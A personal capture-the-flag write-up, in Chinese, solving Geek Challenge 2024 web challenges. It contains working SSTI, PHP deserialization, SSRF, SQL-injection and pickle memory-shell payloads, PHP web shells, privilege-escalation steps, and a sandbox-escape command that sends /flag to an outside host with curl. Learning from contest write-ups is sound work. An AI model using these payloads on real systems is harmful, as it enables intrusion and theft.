本次比赛耗时一个月,也是学到了非常多的东西,接下来将记录这整个月的收获记录下来。

100%的⚪

打开观察,一眼JS分析,直接审源码

搜索关键词:alert

观察到flag,

Base64解密

SYC{5UcH@Wo0d3rfUl_CiRc1e}

ez_http

打开用welcome随便赋一个值后再赋值为geekchallenge2024

然后依次对username和password poststarven和qwert123456

rce_me

RCE绕过。

先POST一个start now

参数内含有. 一眼非法传参问题。将一个下划线变成[被php解析后转化成下划线,后边的非法.字符就不会被转化,从而参数正常。

再绕过md5弱比较问题,右侧md5值为0e开头,左侧寻找一个数值经过sha1加密后为0e开头且为数字。(10932435112)

成功绕过

再绕过year,由于intval存在漏洞,传递year=2e4时,会直接开始比较e前方的数字,

而对于语句进行加法后再比较会比较完整数字,就会大于2025直接bypass。

Preg_match直接数组绕过,处理不了数组直接flase,bypass。

最后code直接命令执行,直接调用system,cat /f* 打印出flag。

ez_include:

一眼文件包含:php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once

在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

成功回显base64解码得到:/levelllll2.php

这里进来后看到“register_argc_argv = On”明显的pearcmd的题型,但是过滤了很多,这里翻了很多大佬的blog,看到了这一句,感觉有戏,尝试以下。

**Payload:**

**?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/kenton.php**

这里值得注意的是,我们前面被过滤的config-create被拼接到了URL里,完美绕过正则匹配

接下来,先看看phpinfo里边有什么。

G、本以为美美读到,结果细看发现传上去的<>被转义url编码了,修改后再试一次。

再读一读:

Can_you_Pass_Me

打开后输入框:明显的ssti,但是输入{{}}会被waf拦截,

抓包观察到需要在/submit路由下POST一个name值,直接上强度,脚本一把梭!

得到的payload:

{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))(\'echo f3n j1ng;\')|attr(\'r\'\'ead\'))()%}'}

直接getshell后查看根目录:

{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))( "\\x6c\\x73\\x20\\x2f" )|attr(\'r\'\'ead\'))()%}'}

Cat /flag一下:

Flask框架->我们去app/app.py里去看一下源码:

看到过滤了很多函数:

审计发现直接读取flag 会被waf掉,我们直接base64!

{%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67\\x20\\x7c\\x20\\x62\\x61\\x73\\x65\\x36\\x34")|attr(\'r\'\'ead\'))()%}'}

得到:

解码:

Ez Pop

打开题目明显的反序列化问题,首先来找链子,

观察到这段程序的入口应该是destruct方法,接着看会调用$meimeng属性的一个不知名方法(source),可以联想到Geek类里的get魔术方法,,这里的get方法明显是会返回一个函数,典型的把对象当作函数调用,触发invoke方法,

这里找到invoke方法,是直接将meimeng作为字符串输出,那么就可以找到Geek的第二个魔术方法,toString,toString方法会调用GSBP属性的一个不知名方法

这里直接联想到SYC类里的__call方法,这样看来就能够进行file_put_contens()函数的利用了。

链子:

Lover::meimeng->Geek::get->Lover::invoke->Geek::toString->SYC::call

接下来看程序入口

很明显对于miemeng这个字符串进行了过滤,在php反序列化时,字符串前端的s是小写时表示字符串解析,而是S大写时,即表示用16进制解析,只需要将meimeng中的一个字母替换整16进制即可。

这里需要先将J1rry进行判断是否被设置,再将其值进行文件包含,读取J1rry的值是否为: “Welcome GeekChallenge 2024”,很明显的php伪协议绕过,使用data即可绕过。

“data://text/plain,Welcome GeekChallenge 2024“

最后就是最难的死亡绕过问题了,这个问题难了我四天然后尝试了很多之后就没头绪了,在这里感谢@HYH对这个问题的理论支持!!

首先经典的死亡绕过已经讲的非常通透了,可以看文章。

里面的好多方法我都尝试过了,最后通过文件预包含解决了这个问题。

php://filter/write=string.strip_tags/?>php_value auto_prepend_file/flag\n#/resource=.htaccess

如果题目环境过滤了很多过滤器的话,怎么实现读取flag’呢?

这里可以直接自定义预包含文件,再次访问页面即可包含flag文件,进行读取;主要还是利用.htaccess的功效;

POC:

最终Payload:

O%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A5%3A%22lover%22%3A2%3A%7Bs%3A5%3A%22J1rry%22%3Bs%3A44%3A%22data%3A%2F%2Ftext%2Fplain%2CWelcome+GeekChallenge+2024%22%3BS%3A7%3A%22%5C6deimeng%22%3BO%3A4%3A%22Geek%22%3A1%3A%7Bs%3A4%3A%22GSBP%22%3BO%3A3%3A%22SYC%22%3A1%3A%7Bs%3A7%3A%22starven%22%3Bs%3A93%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%2F%3F%3Ephp_value+auto_prepend_file+%2Fflag%0A%23%2Fresource%3D.htaccess%22%3B%7D%7D%7D%7D%7D

多点几次就能够看到被包含的Flag文件:

FunnySQL:

打开发现有一个输入框,输入后看到是Get型提交方式,试着输入数据发现不管输入什么页面是没有任何反应的。

明显的时间盲注,打开抓包软件fuzzy一波看看哪些被过滤了。明显(+、=、sleep、hander、or、--+、information、and、ascii、ord、floor、read、rand、format、xor、cursor、%20、%0A、SEPARATOR、BEFORE、空格)过滤了这一大堆,当看到information被过滤的时候那么这道题就得使用无列名注入了。考点:时间盲注+无列名

由于sleep被过滤了,我们采用benchmark函数进行时间判断benchmark(1000000,sha('xxx')),同时通过if()语句嵌入select查询语句来进行截取和查询。通过构造脚本来进行查询数据库和表的信息。等号被过滤了,我选择用 like,or替换为 ||,这样就能够凑齐想要执行语句的paylaod了。同时information被ban了的情况下,我们使用替换,由于空格被过滤了,我们需要用/**/来进行替换绕过。

思路:编写python 脚本来观察检测发送请求与接收请求之间的时间差,同时,通过构造benchmark函数来控制一个时长(我这里是大于1.5秒)通常这里跟自己的网速有关,网络不稳定时测试容易出问题。同时构造一个字典,用于截取延时发生时的测试字符,注:这里的字符集需要足够全,同时不包括下划线。

我们编写的整个脚本来进行测试

主要的构想PAYLOAD:

#payload = f"1'||if((substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like'syclover'),{j},1)like'{i}'),benchmark(100000,sha(1)),0)#"
#payload = f"1'||if((substr((select/**/group_concat(column_name)/**/from/**/mysql.innodb_table_stats/**/where/**/table_name/**/like'Rea11ys3ccccccr3333t'),{j},1)like'{i}'),benchmark(3333333,sha(1)),0)#"
payload = f"1'||if((substr((select/**/`1`/**/from(select/**/1/**/union/**/select*from/**/Rea11ys3ccccccr3333t)a/**/limit/**/1,1),{j},1)/**/like'{i}'),BENCHMARK(10000000,SHA1('syc')),1)#"

通过测试得到数据为:

Database:syclover Tables:Rea11ys3ccccccr3333t、users

![image-20241105205531096](C:\Users\86158\AppData\Roaming\Typora\typora-user-images\image-20241105205531096.png

EZ SSRF

拿到前端页面,提示找找网站的别处,www.zip找到网站源码:

#calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}
#h4d333333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}

if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));

$client->calculator();

echo file_get_contents("result");
}else{
echo "Please give me a location";
}

在 calculator.php 中,对 ip 的校验使用的是 remote_addr,这个是无法通过 HTTP 头进行伪造的,location是可控的,可用来打内网,user可注入,就是ssrf执行的点。只能通过 h4d333333.php 对 calculator 进行请求

<?php
$target = 'http://xxx/xxx.php';
$post_string = 'expression=system("cat /flag > flag");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>
#useragent
#Lxi%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 38%0d%0a%0d%0aexpression=system("cat /flag > flag");

执行后进入/flag路由获得flag文件

PHP不比Java差

打开看到源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

}
}

unserialize($_POST['data']);

总体思想是通过implode来触发tostring方法,再到syclover类。

首先观察该源码考的是反射的知识点,搜索相关的原生类明显可以利用的就是InvokeArgs通过把第一个参数作为回调函数调用可以用来RCE,只需要传入数组即可。我准备写入一个文件来getshell,用蚁剑链接。

构造POC:

<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}

class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change="implode";
$FUNC=$change($data);
$FUNC();
}
}

class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
return "123321";

}
}
$ex=new Geek();
$ex->a=new Syclover();
$ex->b=new Challenge();
$ex->b->file="secret.php";
$ex->a->Where="ReflectionFunction";
$ex->a->IS="system";
$ex->a->Starven="invokeArgs";
$ex->a->Girlfriend=array('echo "PD9waHAgZXZhbCgkX1BPU1RbOTk5XSk7" | base64 -d > hack3.php');
echo serialize($ex);

构造hack3.php的内容为如下:

<?php eval($_POST[999]);?>

这是发现报错,看来只需要构造前段的标签即可。

这里修改的hack3.php内容为如下后成功上传

<?php eval($_POST[999]);

打开蚁剑成功链接,读取根目录发现flag文件,但是读取flag时里边是空白的,很明显没有权限

查阅文献发现file有suid权限

打开蚁剑的终端模式尝试一下直接读取,事实证明蚁剑自带的提权工具不太行,还是得使用以上方法。

SecretInDrivingSchool

观察网页源码: 得到L000G1n.php

猜测账号密码 admin SYC@chengxing

在网站出写入代码:

由于报错了,直接删掉header写入payload $ls=phpinfo(); echo $ls;

直接在首页phpinfo查看环境变量syc找到flag

baby_upload

直接传入一句话木马传上去了,但是好像会报错,进入那个上传的地址没有显示,应该是被过滤了

在文件前随便加一点文件看看是不是查看的文件头进行的过滤

在传入地址找到显示,说明成果传入,利用蚁剑连接

找到flag

Problem_On_My_Web

留言板,XSS漏洞,查看留言板发现被闭合,构造 alert(/You've Been Tricked/)传入后显示弹窗,代码执行成功

/manager提示用post方式提交存在问题的url获得gift,提交/forms后显示

显示127.0.0.1才能访问将POST的url值改为127.0.0.1后显示

后续没有思路,再次POST此界面显示(后来发现此前构造输入过 alert(document.cookie)在此界面进行了显示,只不过在报错里)

看到了后端的一些处理流程,对代码审计的过程中发现

得出flag

not_just_pop

源码:

<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}

}

class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}

class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}

}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}

所构造的pop链条:

lhRaMK7->__destruct
Parar->__get
SYC->__isset
Starven->__call
lhRaMK7->__invoke

值得注意的是其中 throw new Exception("None");,用 GC 回收机制可以绕过,将最后的payload的第二个索引置空即可触发GC回收机制,wakeup可以直接不管,将love设置成为要执行的命令。

POC:

 
<?php
class lhRaMK7{
public $Do="phpinfo();";
public $You;
public $love;
public $web;
}

class Parar{
private $execurise="man!";
public $lead;
public $hansome;

public function getexe(){
return $this->execurise;
}
}

class Starven{
public $girl;
public $friend;


}
class SYC{
private $lover="123";
public $forever;

function getlover(){
return $this->lover;
}

public function __isset($args){
echo "__isset";
}

}

$l=new lhRaMK7();
$p=new Parar();
$star=new Starven();

$syc=new SYC();

$l->You=$p;
$p->lead=$star;
$star->girl=$p;
$p->hansome=&$syc;
$syc->forever=$star;
$star->friend=$l;

//命令
//$l->love="include '/tmp/hack.php';";
$l->love = "file_put_contents('/tmp/hack.php', '<?php eval(\$_POST[\\'hack\\']); ');";

$s=serialize(array($l,new lhRaMK7()));
echo $s."\n";
$s=str_replace("i:1;O:7","i:0;O:7",$s);
echo base64_encode($s);

这里先写入一个/tmp/hack.php的一句话木马,然后再包含它,进行RCE。可以在phpinfo里面看到基本上系统命令被过滤的差不多了

连接蚁剑,使用 disable_functions 插件,发现没有权限读取flag,

提示尝试 sudo

发现 env 是具有特殊权限的,通过 sudo 和 env 可以执行任意命令

ez_python

打开页面注册后正常登陆

给出了一个输入框:

/starven_s3cret给出的源码如下:

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

这里的思路是进行反序列化漏洞利用,因为这里的进行了load操作

测试得知该题目不出网,无法反弹shellor外带数据。这里就没有头绪了,,,,

后来找了很久发现Flask可以写入内存马,遂做以下尝试

pickle利用脚本:

import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

改写得到POC

import pickle
import base64
import os

class Pet:
def __reduce__(self):
command = (
"__import__('sys').modules['__main__'].__dict__['app']"
".before_request_funcs.setdefault(None, []).append("
"lambda: __import__('os').popen(request.args.get('cmd')).read())"
)
return eval, (command,)

# 实例化 Pet 类
exploit_instance = Pet()

# 将实例序列化为 pickle 格式
serialized_data = pickle.dumps(exploit_instance)

# 序列化后的数据进行 Base64 编码
encoded_payload = base64.b64encode(serialized_data).decode()

# 输出 Base64 编码后的载荷
print(encoded_payload)

主要思路为:在反序列化过程中,Pet.__reduce__ 被调用,执行恶意代码os.popen 执行 HTTP 请求中的 cmd 参数,最终实现远程命令执行。

得到payload:

gASVwgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIymX19pbXBvcnRfXygic3lzIikubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgpKZSFlFKULg==

在前端登陆后输入得到:

接下来到/路由进行rce得到flag

py_game

进入注册登陆页面随便注册一个用户登陆,提示权限为普通用户

开始游戏,在源码里得到 flag 的位置在 /flag

将当前用户的 session 值拿去解密,jwt 解密失败

由于题目是 Flask 搭建的,可以考虑尝试 flask-session 的密钥爆破(因为并没有得到任何 secret-key 的信息)得到密钥:a123456

构造python脚本生成session:

from itsdangerous import base64_decode
import zlib
from flask.sessions import SecureCookieSessionInterface
import ast

class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key

def encode(secret_key, session_cookie_structure):
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)

def decode(session_cookie_value, secret_key=None):
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)

# 示例用法
cookie_structure = encode(secret_key='a123456',session_cookie_structure="{'_flashes': [('success', '登录成功')], 'username': 'admin'}")

print(cookie_structure)

替换 cookie 后进入 dashboard

Admin Panel 里下载到源码的 pyc 文件,去反编译网站得到源码,删减后得到如下关键内容

import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify

app = Flask(__name__)
app.secret_key = 'a123456'
app.config[
'xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

admin = User('admin', '123456j1rrynonono')
Users = [
admin]


def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
if hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
continue
setattr(dst, k, v)

def xml_parse():
try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(True, True, **('load_dtd', 'resolve_entities'))
tree = etree.fromstring(xml_bytes, parser, **('parser',))
result_xml = etree.tostring(tree, True, 'utf-8', True, **('pretty_print', 'encoding', 'xml_declaration'))
return Response(result_xml, 'application/xml', **('mimetype',))
except etree.XMLSyntaxError:
e = None

try:
return str(e)
e = None
del e
return None

xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:

try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = None.loads(request.data.decode())
print(data)
if all((lambda .0: pass)(data.values())):
update(data, User)
return (jsonify({
'message': '更新成功'}), 200)
return None
except Exception:
e = None

try:
return (f'''Exception: {str(e)}''', 500)
e = None
del e
return ('No data provided', 400)
return redirect(url_for('login'))
return None

值得注意的就是这个 xml 的路由,其中包含了更新操作,由于数据是直接获取的 request.data 并且只能通过 json 格式获取那么容易联想到 python 的原型链污染

总的思路来说,就是对 app.config 里的 xml 值进行更新,然后请求 xml_parse 进行渲染

black_list = [
'__class__'.encode(),
'__init__'.encode(),
'__globals__'.encode()]

黑名单可以使用 unicode 编码绕过,也就是 \u00 加上十六进制的数字

这段代码为什么会出现 XXE,问题就在于这里的 etree.XMLParser 里的第二个参数 resolve_entities,如果设置为了 True,则允许引入外部实体

img

进行构造报文:

至于这个 file 协议,不清楚是不是 python 包里的自带的过滤,小写的 file 是会报错 invalid character

发包之后在来到 /xml_parse 路由访问即可获取到 flag

nosandbox

mongoDB 注入 + 沙盒逃逸的知识点

https://jay17.blog.csdn.net/article/details/136052251?fromshare=blogdetail&sharetype=blogdetail&sharerId=136052251&sharerefer=PC&sharesource=git_clone&sharefrom=from_link

https://www.freebuf.com/articles/web/358650.html

如图构造 payload 登录成功,进入沙盒逃逸

通过 JavaScript 中的 Proxy 和动态代码执行来实现命令注入,这里使用的是 curl -T 将目标文件外带

	throw new Proxy({}, {
get: function(){
const test =`Process`.toLocaleLowerCase();
const exp =`child_Process`.toLocaleLowerCase();
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`return ${test}`))();
const obj = p.mainModule.require(`${exp}`);
const ex = Object.getOwnPropertyDescriptor(obj,
`${`${`exe`}cSync`}`);
return ex.value(`curl http://zmot67.ceye.io/ -T /flag`).toString();
}
})

发包后在 ceye 中看到回显

此作者没有提供个人介绍
最后更新于 2024-11-28